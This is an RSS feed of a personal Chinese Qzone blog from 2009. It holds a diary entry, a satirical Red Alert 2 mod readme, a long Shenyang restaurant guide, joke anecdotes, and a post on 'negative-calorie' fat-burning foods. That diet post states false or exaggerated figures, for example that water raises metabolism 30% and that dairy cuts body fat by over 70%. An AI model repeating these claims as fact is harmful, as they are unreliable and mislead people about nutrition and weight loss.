<![CDATA[Nsyncer/回头]]>

<![CDATA[Nsyncer/回头]]> http://34946280.qzone.qq.com Wed, 25 Nov 2009 06:51:16 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Mon, 23 Nov 2009 09:42:11 GMT <![CDATA[负卡路里的食品------越吃越瘦~!！【校内精华小资日志】请保存分享！！！]]> http://34946280.qzone.qq.com/blog/1258969331 2009-03-12 03:33 | (分类:默认分类)在消化食物的过程中，身体其实也在消耗热量。有些食物在消化过程中需要耗费比自身更多的热量，还有些食物能够提高我们的代谢水平，它们就是让我们越吃越瘦的--燃脂食物。

饮料：
水就是平常的水，如果一天喝上500毫升的水，身体的代谢速度就能提高30%。
奶制品每日饮用3~4次牛奶、酸奶或食用奶酪的人，其体内脂肪可以减少70%以上，女性在每日食用奶制品的同时，吃些含钙多的食物，能获得最佳燃脂效果。
绿茶不仅有抗癌、抗氧化作用，还有提高新陈代谢的作用。每日喝3次，能消耗60千卡热量。

蔬菜：能促进血液循环
菠菜能促进血液循环，令距离心脏较远的双腿也吸收到足够养分，平衡新陈代谢，起到排毒瘦腿的效果。
西芹西芹含有大量的钙和钾，可减少下半身的水分积聚。
西红柿常吃新鲜的西红柿可以利尿，去除腿部的疲劳、减少水肿，生吃效果更好。
甘蓝含大量的钙和维他命C，能提高代谢速度。

水果是减肥时的理想食品
香蕉虽然卡路里有点高，但脂肪含量却很低，还含有丰富的钾，可减少脂肪在下身积聚，是减肥时的理想食品。
苹果一个苹果的热量为50卡路里，但消化和吸收它却需要75卡路里，用它减肥再好不过，同时还能美容，真是一举两得。
木瓜有独特的蛋白分解酵素，可以清除因吃肉而积聚在下身的脂肪，而且木瓜肉所含的果胶是优良的洗肠剂，可减少废物在下身积聚。
西瓜它是生果中的利尿专家，多吃可减少身体中的多余水分。
西柚卡路里极低，亦含丰富钾质，有助减少下半身的脂肪和水分积聚。
奇异果除了维他命C是它的强项外，其纤维含量也十分丰富，可以增加脂肪的分解速度，避免腿部积聚过多的脂肪。

蛋维他命B2有助去除脂肪蛋、肉制品蛋蛋内的维他命B2有助去除脂肪，除此之外，它蕴涵的烟碱酸及维他命B1可以去除下半身的肥肉。
瘦火鸡肉含高蛋白，是脂肪含量最低的肉食。
海鱼经常吃海鱼，对降脂减肥十分有益，每星期可以吃3~4次。

谷物：令新陈代谢效果更好
芝麻它的亚麻仁油酸可以去除附在血管内的胆固醇，令新陈代谢效果更好。
红豆所含的石碱酸成分可以增加大肠的蠕动，促进排尿及减少便秘。
花生含有极丰富的维他命B2和烟碱酸，一方面带来优质蛋白质，长肉不长脂，另一方面可以消除下身脂肪肥肉。
燕麦它被称为“燃脂斗士”，能提供饱足感和身体能量，还能有效地帮助身体燃烧脂肪。
紫菜可以帮助排走身体内的废物和积聚的水分其他紫菜除了含有丰富的维他命A、B1及B2，最重要的就是它蕴涵丰富纤维素及矿物质，可以帮助排走身体内的废物和积聚的水分。
蒟蒻完全不含脂肪又美味，它的丰富植物纤维更可以使下身的淋巴畅通，防止腿部出现橘皮组织。
辣椒食物中加入辣椒，会提高身体的新陈代谢率，还能使人餐后不容易感觉饥饿

瘦到最美时，加快燃脂六要诀
1.人体进食后体温会上升，从而加快能量消耗。所以，一天吃三餐比只吃两餐时的能量消耗更大。摄取蛋白质时，所消耗的能量最多，有益减肥。
2.当体内肌肉增加时，基础代谢率就会上升。所以，体脂肪过高者应进行肌力训练，强化瘦肉组织。
3.以减肥为目的的运动必须在饭前进行，最好能早、晚各进行一次，每星期至少三次，每次进行30分钟以上。
4.产热性药物可以提升新陈代谢率达14%，但一定要在医生指导下服用。
5.快乐的心情可以减少脑中血清素的消耗，产生抑制食欲的作用。
6.经常拍打皮肤表面来刺激经络，特别是背部两侧膀胱经，中下腹两侧的脾、胃经，可以调节新陈代谢功能 ]]> http://34946280.qzone.qq.com/blog/1258969331#comment 134218240 Mon, 23 Nov 2009 09:42:11 GMT http://34946280.qzone.qq.com/blog/1258969331 <![CDATA[无题，碎碎念]]> http://34946280.qzone.qq.com/blog/1258957705
话说人生应该是有了追求才有了动力，对目前的我而言，我却突然觉得找不到什么动力。

理论上，我觉得我应该已超过或者最低为赶上我老爹为目标，然而在我心里我老爹又过于成功以至于每次都让我产生一种挫败感。说起来最大的爱好应该是电脑，而不停的对着电脑这么多年已经让我开始让我对电脑多多少少生出了一些厌倦感。所以自然而然的萌生出一个念头想当厨师，因为感觉老郭家的人对做菜都是有一定的天赋（小小自夸一下╮(╯▽╰)╭）。

可话又说回来，在中国厨师这个职业实在是不太受人待见，古语有云“君子远厨庖也”。由此可见厨师在中国的地位多么低下。哪怕你是一个特级厨师或者超级厨师乃至宇宙第一厨师在中国依然是“臭老九”档次的职业。家里虽然没有明着说什么，然而语气中自然地透露出了一些不屑，吓得我立刻转变口风说只是作为业余爱好云云，于是理想中的大厨梦想就此远去o(╯□╰)o

再说一下最近的生活——两个字：无聊(╰_╯)#。

课结束了，等着考试，等着回国，结果二了吧唧的一直没想到订票的事情结果被告知圣诞没票要等补位后面的票已经排到了明年1月中旬，悲愤的两眼望天然后对自己比了根中指恨恨的说：“让你丫再懒，又不能回国过生日了吧！╭∩╮(︶︿︶）╭∩╮”

昨天难得的去打了一次球，头10分钟发现多年不打球的恶果就是手感全无，姿势对，想法对，时间对，一出手——三不沾o(︶︿︶)o严重被打击，于是不得不开始无奈的重新练习，练习跳投了半小时浑身大汗坐到一边喘气。之后被友人叫过去凑队斗牛，15分钟后发现体力严重跟不上，之后在一局9球之后被迫下场回家。回家后气喘如牛，今早起床发现自己两只腿肌肉酸痛，走路颇有老年痴呆和小儿麻痹的架势-_-|||。由此婶婶的鄙视自己，决定把每天30分钟的锻炼改为2天1次的打球。

最后说到感情——经过了又一年的斗争，到最后还是空白。虽然目前已经有了心仪对象，但是还是回国再说吧。早知道出国了谈恋爱还这么麻烦，哥当年还不如去个三流大学混文凭呢……╮(╯_╰)╭ ]]> http://34946280.qzone.qq.com/blog/1258957705#comment 134218240 Mon, 23 Nov 2009 06:28:25 GMT http://34946280.qzone.qq.com/blog/1258957705 <![CDATA[暴强的红警2的mod《和谐中国》登场]]> http://34946280.qzone.qq.com/blog/1258845480 下载地址： http://www.namipan.com/d/%e5%92%8c%e8%ab%a7%e4%b8%ad%e5%9c%8b%20v1.0.rar/4ca09541f34b79d0f9739d5467b7e4aff9b71f491c8de405
看一下作者的介绍：

《和谐中国》读我文档
此MOD不适合粪青，请粪青们自觉死开。
《和谐中国》是基於美国艺电出品的游戏《红色警戒2：尤里复仇》修改而成的扩展程式，我是作者尤里复制人X。请您务必全部阅读完此《读我文档》，否则产生的一切问题本人予以无视且鄙视。
《和谐中国》是本人迄今为止最成功的作品，其较好地将恶搞元素与RTS所必备的平衡性、战略性融为一体，希望可以扭转大家『恶搞=BT』的观念。
本MOD采用了许多公用素材，在此向辛勤劳动着的素材制作者们致敬！过后我会列出『鸣谢列表』，希望诸位可以一并认真看完，谢谢。
非主要变化：
1. 国家减少为四个，分别是【自由美国】、【赤色苏联】、【精神尤里】、【和谐中国】；美国拥有盟军所有武器，苏联拥有联军所有武器。
2. 所有国家添加超级武器加载建筑，建筑后可以发动第三超武，分别为『暴风雪（美）』、『V3核子轰炸（苏）』、『心灵终结（尤）』、『一起去看流星雨（中）』，造价2000，加载於5000级超武，建筑前提皆为2500级超武和5000级超武。
3. 美国空降伞兵超武加强，视觉效果更佳；加入载具『榴弹炮』，加入步兵『区域装甲兵』。
4. 苏联侦察机加强，查看范围更大；辐射顏色改为浅黄，更为真实；加入建筑『军用鉆油井』，加入载具『雌鹿运输直升机』、『粉碎者』、『毒蝎杀手』，加入船只『电击水母（去除巨型乌贼）』，恐怖机器人可以部署为地雷。
5. 尤里加入建筑『空降信号球』（发动超武『空降坦克』）、『鉆矿平臺』，加入步兵『尤里机【度】枪兵』，加入载具『魔影坦克』、『运输飞碟』，加入船只『巨型乌贼』、『盖特快艇』、『心灵控制舰』。
6. 其他关於平衡性的调整。
中国简介：
I. 建筑：
A. 山寨老巢：基地。
B. 山寨电厂：廉价电力来源。
C. 山寨兵营：发动超武『信春哥得永生』。
D. 政府办事处：矿场，发动超武『公款报销』。
E. 五毛专用网吧：雷达，发动超武『跨省追捕』。
F. 山寨车厂：……
G. 山寨船厂：……
H. 广电总局：高科。
II. 武器：
A. 城市管理局信访处：部队回收，城管建造前提。
B. 瑞星卡卡防御系统：主动防御系统所构成的围墻。
C. 肥猪瘤感传播塔：初级防御武器，散布肥猪瘤，克步兵。
D. 囧中自有囧中囧：高级防御武器，克载具。
E. 中宣部辟谣兼洗脑专用塔：高级防御武器，永久控制小范围内单位。
F. 我有知识我自豪超威蓝猫我最屌：所有物品大幅度减少生产费用。
G. 肆佰万元人民币（超武）：发动2500级超武『绿坝娘萌杀』。
H. 芒果电视臺（超武）：发动5000级超武『曾哥演唱会』。
III. 步兵：
A. 范跑跑：慌不择路的廉价探路兵，无武器。
B. 粪青：基础士兵，武器为喷粪。
C. 华南虎：类似於狗，但比较低调，不会主动出击。
D. 人民公仆：工程师，被杀后攻击者得￥1000，自己杀自己没用。
E. 血狮中国士兵：拥有自主思维，攻击自己喜欢攻击的地方。
F. 中国男足：打飞机之王。
G. 叛逆的鹿鹿鹿：自杀式攻击，毒杀士兵载具，无法攻击建筑。
H. 五毛：间谍。
I. 陈冠希：狙击手，可以将任何步兵利用拍照变异为『很傻很天真』。
J. 草泥马：神兽，使用忧郁的眼神囧杀一切。
K. 城管：圣者，中国特种兵，拆房拆车拆人样样精通。
IV. 载具：
A. 政府官员专车：采矿车，速度快，矿量一般。
B. 血狮中国T90：基础坦克，你永远不知道它下一炮将打向哪里。
C. 全封闭式空调车：搭载喷火器，被毁时自爆。
D. 山寨基地车：……
E. 速度很慢的70码：速度真的不快，秒杀一切士兵，且无视基础士兵的攻击。
F. 躲猫猫专用车：隐形运兵车，到现在我都不知道它到底长什麼样……
G. 芙蓉机甲：芙蓉姐姐御用座驾，利用S型震撼所有单位。
H. 太湖蓝藻：污染水域，集群后为海中之霸。
I. 中国航公：和美国航母逆行倒施。 ]]> http://34946280.qzone.qq.com/blog/1258845480#comment 134218240 Sat, 21 Nov 2009 23:18:00 GMT http://34946280.qzone.qq.com/blog/1258845480 <![CDATA[[转]沈阳各路小吃]]> http://34946280.qzone.qq.com/blog/1258434830 沈阳最狠的小吃（怕丢了，COPY一下，呵呵！）
千与千寻
人均７０地址: 和平区八经街日本料理店，一楼是自助餐，二楼是单点。自助餐是每位68元+2元。清酒，梅酒，扎啤，饮料随便喝，水果大家都爱吃西瓜和香蕉。这热天吃烤的东西太热了。三文鱼随便吃，但是每次也是三片呀，所以叫三文鱼，哈。牛舌挺好吃，进口的牛肉，也很嫩。天妇罗，鱼下巴，鳗鱼，扇贝，虾等，品种不少，但是还是觉着少几样。不吃猪五花好了，太肥了，差点吐了，告诉服务员这个实在吃不了，她说没有关系，太腻了。吃点西瓜才舒服一些呀。白天食品是不摆出来的，晚上顾客多了才摆出来。因为顾客不多，所以服务不错，上菜也快。限制时间是2小时30分钟，超过10分钟收10元。还有一些菜品，牛，羊，猪，鱼。海鲜太少了。
推荐菜: 牛舌鳗鱼三文鱼寿司
一茶一坐
人均６０－－７０地址: 和平区中华路新世界百货B1楼
电话: 024-23830321
环境很清雅，晚上打烊前很是安静，有茶室的清新，又不那么高调~
菜品很多，一下子有些眼花缭乱。点心尤其多且精致。推荐菜: 红豆冰沙各种煲
丽湖蒸菜(新世界店)
人均５０－－６０地址: 和平区中华路88号新世界百货B1楼
电话: 024-23414766 和三好街是一家的，不用多说就是正宗．现在在太原街新店开业，大家有口福了得到。（个人觉得最好晚上去吃，蒸菜很健康，不过对于食量大的朋友，也许会吃不饱哦！另外，减肥的朋友们也许会钟爱，蒸菜没有太多的油水，而且味道鲜美，比白水煮青菜好吃多多啦！）推荐菜：剁椒鱼头豆豉排骨丽湖扣肉蒸南瓜
相聚炸酱面
人均１０－－２０地址: 和平区图门路左如巷5号
电话: 024-23462024 这是家典型的韩国面馆，牌子的韩文大了几个字号压在中文头上，害我们开过才回过味儿来已经错过。店分内外两间，里面是朝鲜大炕，外边是餐桌，客人基本都是鲜族人。面条拌好口味独特的酱，一淡一浓，交融撕摩，相得益彰．拌饭也很正宗．环境很干净．推荐菜: 炸酱面拌饭鱼酷烤鱼
品鱼酷
人均４０
地址: 和平区太原北街北五马路交叉处东20米
电话: 024-23835550 这里经营的是天津烤鱼，据说在天津和北京的店都特别火暴，这里是沈阳的第一家。烤鱼分成四类：豆豉烤鱼、泡椒烤鱼、麻辣烤鱼、当家巨辣烤鱼；这里值得一说的是环境，很小资，很田园，设计的很用心，感觉很舒服；服务员的培训也不错，很专业。推荐菜: 烤鱼五香豆丝
贵州茶餐厅　
人均４０地址: 和平区太原北街这个店就在“黔酷”的对面，如果两家不是一个老板，以后就热闹了：面对面的竞争啊！都是贵州菜，但是定位还是不同，“黔酷”定位中高端，环境很小资；这里却是面向大众的，定位低一些，很多人在这里也就吃碗面。汤鱼做的比对面好吃，酸辣味道正点，沾料也地道，店家说这道菜得到过做国宴的大厨的指点，环境一般，但是还干净．推荐菜: 酸汤鱼　
秃头私房面馆
地址: 沈河区中街路53号典型快餐店格局与环境，干净，桌子上立着菜牌，秃头牛肉面和秃头绍面是招牌面，牛肉面的辣味有特点，绍面的酱味也不错。不得不说的是小菜，有2元，5元，10元的，强烈推荐2元的川味泡菜，清爽，辣得恰到好处。推荐菜: 牛肉面绍面
学友风味小吃
人均３０地址: 铁西区齐贤街十三路工业大学嘉富公寓对面
电话: 024-25418299 店很小,味道很不错,价格便宜.这儿的很多菜都很有特色. 老板娘人也很好.除了菜之外, 在夏天还供酸梅汤, 很好喝的.工在学生有很多在这儿就餐的,饭口时人很多,没有坐位,很上火. 推荐菜: 家炖刀鱼蚕蛹酥肉
一郎音乐厨房(文化宫店) 别名: 一郎音乐串吧
地址: 和平区民族路78号(金碧辉煌斜对面) 电话: 024-23877778
他家的环境比较酒吧，光线掌握得不错．楼有三种不同的座位，靠窗是四人秋千式，中间是情侣连座式（能坐四人，但情侣可以坐一排呀），旁边是容纳更多人的大桌，独座。一楼有二吉他男一空手女驻唱，墙上嵌着三个液晶电视。二楼是不完整的，在一面墙突出一方空间，夹在一三楼中开辟出的非封闭式用餐地盘，只有三个位置。三楼的布置没有考证。羊肉串烤得非常嫩，嫩得超乎想象，味道超级正点，无论调料还是油都调制得恰到好处，肥肉部分亦把膻味show到淋漓尽致，凝香噙脂，真是一完美的味觉享受。熟筋也是羊肉串的线路，味道相似。推荐菜: 海鲜葱饼羊肉串北国之春
新疆味道
人均:￥50 地址: 铁西区凌空二街(晋斯豪庭楼下)
新疆风味感强。好多食物包括羊肉听说是新疆原味的，食物不太多，要早点去，羊排、大盘鸡、肚片都很好吃，还有他家的羊肉串和烤腰子配上空运的胡萝卜汁，味道真是不错！推荐菜: 羊肉串
藏巴部落
人均:￥25 地址: 皇姑区昆山中路5号(黎明服装厂对面) 菜口味都挺好，有特色。环境、服务都不是很好。门前停车位较少。不过还是挺火的，吃的人挺多。推荐菜: 功夫茶香肉肉饼蒸蛋
三国传说烤鱼
人均:￥40 地址: 沈河区文艺路20号一甲三好街加油站东面先把鱼烤完放到大盘子里，再加上炭火在盘子底下，一直都是热的，可以放好多的青菜阿、饼阿，什么的，都是辣的，很入味儿很有特色的鱼也很好吃店小，人气很旺．推荐菜: 烤鱼大角饼
缠·刺身处
人均:￥60 地址: 和平区安图街10号生鱼片是套餐形式的，有海黑鱼、鸦片鱼、三文鱼、金枪鱼等好几种，分大套餐（送16种料理）和小套餐（送8种料理），还有烤鳗鱼、生鱼片寿司、手卷紫菜等等等等，相当美味！“缠”是朴兴奎在日本学手艺时日本师傅用的店名，他的店取这个名字也是为了怀念自己在日本学习、生活的时光，同时表示对师傅的尊敬。鸦片鱼刺身￥77（2人份）→现在是￥150小套餐（3人差不多）。鸦片学名比目鱼，又名偏口，是日本最普通的生鱼片、中国最方便的食材，蘸日本酱油及芥末酱，可带起鱼生的鲜味。韩国人也有蘸辣酱的。推荐菜: 手卷紫菜各种套餐烤三文鱼头生鱼片寿司
黯然销魂面
人均:￥30 地址: 铁西区兴工街凯乐迪对面(七马路)
店面环境装饰很简单又很干净的小店，那里的菜名起的很有特点“ 干柴烈火”“千丝万缕”“情意绵绵豆”，很适合情侣或者是小聚的地方，看见菜单上的广告语“拌面中的战斗面 ”呵呵，老板是个二十多岁的年轻人，蛮有创意，蛮有才。味道不错，算是个蛮有创意的面店。和老板闲聊，老板说他自小周星驰的片子看多了，才有此创意。（行家都赞不绝口哦！）强力推荐。
附近的朋友可以去看看。
1、三好街附近，大民族饭店旁边，有家名叫 — 川人川味的川菜店，他们那里的川菜很好吃！！！价位不贵!!!
2、中华家常村，两个人吃就一二十块钱
3、三好的风味楼”是最好吃的，也不是很贵，两个人吃就三五十块钱，就在医大二院学生宿舍的大门附近
4、沈阳中医院的对面，学校附近的华府肥牛也不错，没我想象的那么贵，两个人吃七八十块钱就够了（地方挺大。里边的鱼丸好吃。千万别点那里的乌梅汁。老难喝了。）
5、中山公园附近有条小吃街，那里的中山姐妹麻辣烫很好吃。特别是他们的肉串，新疆风味，不错！！！
6、都市快车：
1）铁板烧也很好吃哦
一份单人套餐：黑胡椒牛排，铁板鱿鱼，CHEESE煎三文鱼一块，高丽菜，米饭一碗，浓汤一碗 36米两个MM吃不了啦`和男朋友一起，再去旁边那家叫份蛋塔，HUHU~~~~
2）都市快车里面－面点王那个店卖的“都市牛肉拉面”
3）都市快车卖的大碗饭，尤其是“茄子排骨大碗饭”
7、辽宁中医后面的胡同里，有一家华兴火勺店，里面的火勺五毛钱一个，绝对又便宜又好吃！火勺又大又酥，再来一小碗馄饨（1元一碗），保证吃得又饱又暖和，环境也很好。
8、和平区，二经街路口，名叫“赵家麻辣小龙虾“也很好吃！
9、西塔街，乐天百货后的胡同内，名叫“浦项”的烤串店，正宗韩式烤串。要预订，不然没位子！
夏宫二楼的大红灯笼火锅店，实惠又好吃！
10、二经街交汇处，有老两口买煮玉米，数量有限，晚上5点开始
11、高登大厦旁边的山西刀削面
12、电视塔下面的大排挡
13、小北交通岗：天吃火锅，地道的重庆妹子开的，很地道的重庆火锅不可不去
14、天后宫：湘菜馆，湖南的。酱板鸭呀，嘎嘎好吃。辣的流口水，香的口水流：）
15、第四医院南侧昆山路上，晋州烧烤自助，28元/位，纯韩式烧烤
16、陈火锅，正宗，就是人多，饭点需要等位（超好吃！最近家这边也开了家分店~太好啦~！）貌似中街附近有一家哦！那次是被别人领去的，再加上鄙人的方向感极差，具体位置不太清楚！最大的感触就是辣到流眼泪，事先声明鄙人可是比较能吃辣的哦！大家要“量辣而行”哦！
17、原大北监狱西300米，呼伦贝尔火锅，地道实惠
18、商业城东胡同，老王太太羊肉串，巨好吃，但是有洁癖的朋友不太适合。
19、地下转盘上面直走老妈麻辣烫五元钱一份，自己装，看能力能装多少装多少。会装的吃的具爽！（热心人士有没有秘诀啊？）
20、说到冬冬，冬冬的蛋糕比好利来要好吃很多的，尤其是提拉米苏，9寸的99大洋，实在，一个最好找的店三好街南湖剧场旁边，三好口腔门诊对面，还有一个店在231路公交车的线路上面，大概在中国医科大学站之后的3-4站之内，旁边还有个书店。（它家的馒头也好吃。油炸糕也不错）
21、中兴楼上的虾耙子馅饺子便宜还好吃，味道极其鲜美，
22、太原南街的排挡有家烤串店不错
23、兴隆轩的饺子在怀远门那有家分店，感觉没有一经街的人多但是味道不减
24、喜欢元太祖，四十/位，二十/位，东西南北口味都有，生猛海鲜都有，过生日者免费
25、辽报附近的盆盆香，盆盆。。。都好吃
26、太原街成都酒家，推荐菜色：干煸峨眉笋夫妻肺片口水鸡
27、振兴街的海城馅饼饭庄，皮薄馅大
28、名称:南美烧烤地点:领事馆南
特点:新鲜,现烧现烤,服务员一串串的每样都递送.(啤酒免费,饮料要钱.嘻.) 中午营业至二点.晚上不知道.38元/位
29、名称:蓝山比萨地点:小西路(嘉濠商厦对面)
特点:文化气氛浓.老板二十七,从国外归来.亲手制作的披萨美味.常有外国人在.而且价格公道.(小PAN现在特价:七元)
30、名字:E时代西餐酒吧地点:和平北大街(联通总公司旁边)
特别:气氛好.地方大.自助形式.
注意:中午至二点半.晚上五点至九点营业.九点后二楼酒吧节目表演. 白天38元/位;晚上世68元/位.
31、在北陵辽宁大厦边上的:金山海鲜酒楼
真好.地方大气,适合人多. (必点菜:肉JIA馍;榴莲果)
特点:大得每包都有卫生间真好.地方大气,适合人多. (必点菜:肉JIA馍;榴莲果)
32、如一坊豆捞地点：天后宫附近
特点：去年新兴的。推荐那个叫，忘了。就是肉和鱼弄成酱状下锅的好吃。（不过传说中豆捞很贵哦！大家要带好银子再一饱口福哦！）
类似地点：其实就是火锅~~~
33、吉祥串店（二部）地点：天后宫
特点：啥都能烤。上到芸豆，下到茄子。类似地点：哪都有。　
34、都市绿洲地点：沈阳大学附近
特点：地方大，环境好，里面有山有水有穿冰鞋的服务员有海豹（不让吃）。
类似地点：绿色生态园（长白。地点没这方便，但菜比这好吃。）
35、洪记地点：一部：天后宫二部每家玛对面三部展览馆
特点：一部挤，二部大，三部环境美。菜是好吃得很，饺子特好。（那里的肘子肉也好吃。人很多。）
36、伦哥比萨自助地点：北行。
特点：比必胜客便宜老了。口味很不错。也安静。（３９元／位）　
类似地点：阿美丽卡比萨自助（环境不如伦哥好，人气却特别旺。这儿限时。29元/位）
37、新罗城地点：西塔
特点：地方小，人多，价贵，好吃。
类似地点：萨拉伯尔　（位于小西路。比那冷清，可是停车特方便。）
38、京桥日本料理。地点：三经街。
特点：安静。好吃。
（离它不远有个 7+1发艺，以前总去那剪发`挺不错。可以一并一理云发。）
39、PAPA"S--------文化餐厅,点的是蜡烛,适合情侣.套餐大概50元吧!nbsp;
40、商贸----------听说自助不错（一楼的果汁和咖啡不错，但只吃过一回楼上的大餐嘿嘿~）
41、金汉斯----------南美自助烤肉.去过大连的,气氛不错,便宜,黑啤好喝.沈阳好像30/位（这地方真是消遣时间的好地方。）
42、七宝山--------朝鲜友谊形式的饭店,服务员都是女干部.
43、台北A+A--------因为侵权,后改的名字,原名台北1+1.二楼包房好象更受照顾,菜的味道优于一楼散台.湘菜都不错.把脱了骨的凤爪放在辣汤里煮的一道菜很赞.菌汤不错,喜欢清淡的朋友可以一试.特别推荐他家的印度飞饼,和别处做的不一样喔!
44、台湾永和豆浆---------炸油条,冰米浆,咖哩包好吃! （豆浆豆浆真好喝。我要冰豆浆。）沈阳站沃尔玛超市附近有一家。
45、桂林米粉---------虽然环境欠佳,还是想起就淌口水啊!首推煮米粉,滑溜溜的米线,嫩嫩的猪肝,浓浓的汤......每吃一碗,顿觉酣畅淋漓!过瘾啊!
46、牛吧-------口味中化的西餐.胜在便宜实惠,且味道不错.铁板牛排套餐大概29元吧.(
47、新洪记------很火的.虽然我觉得莫名其妙.但我们沈阳人就是捧场.偶见老外光顾.也许我们没吃对吧.因为是饺子馆,所以还是尝试一下吧!
48、云龙烧烤-----性价比没有韩都烧烤高,但也听贵.值得一提的是有一个烤串吧.有置身酒吧却大吃肉串的感觉.环境不错.肉串好吃.石锅拌饭不错.冷面也好吃（因为就在我高中附近``所以总和同学去）
49、韩都烧烤----很火的店.赠送的南瓜粥不错.米酒也很好喝的.建议不要点太多菜,吃不了容易造成浪费!三个人吃不会超过100元.性价比在沈阳是最高的. （一楼没有服务费但是不给那么多东西。二楼以上加服务费。给的东西挺多。）
50、梅园城"在皇姑区乐购北走100米的十字路口上,很大的一个火锅店~nbsp;
51、以前在顺通市场有一家冰淇淋，贼好吃，还便宜。什么口味都有，什么香草，草梅、巧克力还有花生的
52、11路轻工街附近有个叫“万盛馆”的地方，只卖原汁牛肉，味道如何先不说，单说每天中午时分，停在路边的车那叫多，好多人都是外区慕名而来，而且这家餐馆只卖到下午1点多，来晚了就没得吃。
53、推荐矿山文化宫对面大澳肥牛！一个人免费赠送一盘牛肉，火锅底6元，其余的东西比较贵，但是档次很好要是10个人去的话100元基本够用了！
54、大尾巴羊羊肉串中街口处的荟华楼后边~有翡翠大佛后边~穿过小区~望左一拐~很好吃车条穿的~一天就3000串~早上11点~下午什么时候买完什么时候回家~5点以后基本不用去了~周六周日3点后也不一定有~强力推荐
55、艳粉街西的一间小铁皮车，每天晚上准时出现，出售烤串。夏天有时候城管下来查的时候可能见不到。老板叫黄毛，一脸笑容。据说原来是艳粉街的蛊惑仔，后来洗手不做化剑为梨了。铁皮车周围经常停着一些专程从别处开车到这里吃串人的车。那里的鱿鱼串和酸甜烤鸡架味道的确独特。（哎离家那么近，还没去过呐！郁闷）
56、育才中学前的那个早市街头上的小红伞,每天早上排满了从各处到这里来唛咸菜的长队.这里出售据说整个沈阳地区最棒的朝鲜咸菜.据早市的管理员说这个咸菜摊每年的营业额在30万元以上.
57、重工街十一马路万盛馆的炖肉米饭,14元一份.巨好吃，每天来这里吃肉的人踏破了门槛
58、.城中花园西门一家小铁皮房子,每天上午开门,过了中午就关门,出售家常炒菜.没招牌没执照,黑店一个.人同样十络绎不绝,经常可以看到周围几家大饭店的老板来这个铁皮房子里来吃午饭.
59、辽宁大厦南边的杨家盒饭,5元1份,主要给出租车司机吃.不过味道很好,是沈阳最好的出租车盒饭.有时候专门坐车去那里吃盒饭,来回的车费可比盒饭贵多了.
60、五里河市场马家鸡架.十多年的店了,从以前的街边小摊变成现在的大排挡.想当年马家的鸡架好了之后整个市场的鸡架都卖不出去了。（有试过的人介绍说他家的麻辣烫也很一流哦！大家有时间跟MONEY不妨试试看！）
61.力荐力荐：铁西百货附近有一家貌似叫做"群乐小吃"的小店(大约三层,在居民区里),哪儿的辣炒鸡架和肉沫茄子超赞滴,啊,流口水啦!而且很便宜呢!人均消费10~20元人民币左右.而且够分量哦!一般两个人要2~3个菜就会很撑啦!附近还有铁百和新玛特,逛累了,马上就有的吃啦!交通也挺方便,有很多公交(283).（麻辣诱惑，一种小吃，里面有麻辣烫和拌鸡架，鸡架是酸甜辣口的，味道不错哦，关键是便宜，物美价廉啊！） ]]> http://34946280.qzone.qq.com/blog/1258434830#comment 134218248 Tue, 17 Nov 2009 05:13:50 GMT http://34946280.qzone.qq.com/blog/1258434830 <![CDATA[哥的表白，永远这么明媚忧伤，四十五度的寂寞]]> http://34946280.qzone.qq.com/blog/1257940461 1.
今天坐地铁，从建国门站上来一男一女，坐在我的旁边
女：“她其实心里很伤，本就是那种容易痛的女子”
男：“她还没释怀么”
然后我起身，哆哆嗦嗦泪流满面的离开了

2.
女：我喜欢在街头喝咖啡，人来人往的，觉得像公主一样备受瞩目。
男：呵，你本就是让人给与三千宠爱的女子。
当时把我雷的45度明媚忧愁望天内牛满面

3.
在蘇州吃飯旁邊倆大爷喝小酒吃下酒菜兩人的坐姿均為右腿蜷起來把右腳踩在椅子上
突然大爷甲说：她说出这樣子的話，已經深深地傷到了我內心最深處的脆弱。。
當時我就思巴達了。。

4.
我们校园有一极像马景涛的男人
以同女友吵架著名我校
他给她一嘴巴子：你滚！
她掩面而泣：我不！
他：滚
她：不
他：草（转身而去）
她一把搂住他
他：以后别这样，别这样（回身泪流满面道。。。）

5.
上回吃早餐~
看见一对叔叔阿姨
蜀黍忽然刮了一下阿姨鼻子说“你怎么这么纯情~~~”
阿姨羞涩地笑了。。。
我汤泼出来了

6.
无意间加了个人
上来跟我打招呼，说：喜欢最天使么？
我没反应过来呢人又说了：这么多年来，这是第一首能进入我心里的歌，不知你是否也一样~
我哆哆嗦嗦的拉黑了~

7。
我们宿舍一灰猪瘤女半夜跟她汉子打电话（她那晚耳朵过敏，开的免提，还以为我们仨都睡了，其实我在偷听。。。）
女：平淡流年，我们经历得起吗？
男：干什么？你想分手？
女：悲伤逆流成河,我为谁而不顾？
男：我嘈！难不成是我？
我憋笑差点内伤

8。
公车上
男：你哪人啊？
女：四川
男：那你是蜀国人啊，我是楚国人，
啊哈哈哈我们都是中国人！

9。
其实最装逼的莫过于
那天我和同学聊挫折
她突然来了一句：
其实咱们都是受伤的小兽，
独自躲在角落舔伤口。
我靠，当时我脸色刷的就白了，
你丫牛，把我从内伤直接雷为残废了

10。
某经过学校黑暗角落.闻争吵之声,循声望去,见一男一女.
男:你听我解释
女:我不听我不听,你让我走!
男:你不要走,你听我解释
此时拉住女手
女:放开我!你这个疯子.
猛烈转身就要走.
此时,男一把将女子拉入怀中,既而强吻上.
女挣扎数秒,逐双臂环住男脖子.
我默默路过...同时寻找摄象机.未果.

11。
某节课一装B男噌的站起来…
老师：XXX!你站起来干嘛
B男：有人在后门看我
老师：看你怎么了
B男：我爸让我注意点！怕人绑架我！我可值好几千万呢
全班都45度的面瘫了…全都嘴上呵呵心里MLGB了

12。
在星巴克我点着一杯卡布基诺在这群安静的装逼侠对我侧目的时候
华丽的打开我的橘子iphone 刹那间整个星巴克被一首高亢而又悲凉的
《月亮之上》所笼罩顿时那些星巴克里面的装逼侠们内蒙古牛肉拉满面

13。
讲一个90后小姑娘追我朋友的事。
一90后的小姑娘。打扮不肥猪流。也挺水灵。
我朋友不要。
我们很不解。
我朋友说沟通无能。
当下。我朋友拒绝小姑娘的时候我们都在。
朋友估计小姑娘的自尊心。拒绝的那叫一个曲折委婉。
后来小姑娘终于明白了。
幽幽的看着我朋友。朱唇轻启。
扔了句。
“告诉我。这个冬天为什么特别寒冷”
就走了。
众人终于明白何谓沟通不能。
内牛满面……

14。
晚上，某教学楼五楼。一男一女。在闹分手。
男的背对女的，女的欲哭，已经在绞衣服角。
男人此时说：我们分手吧。
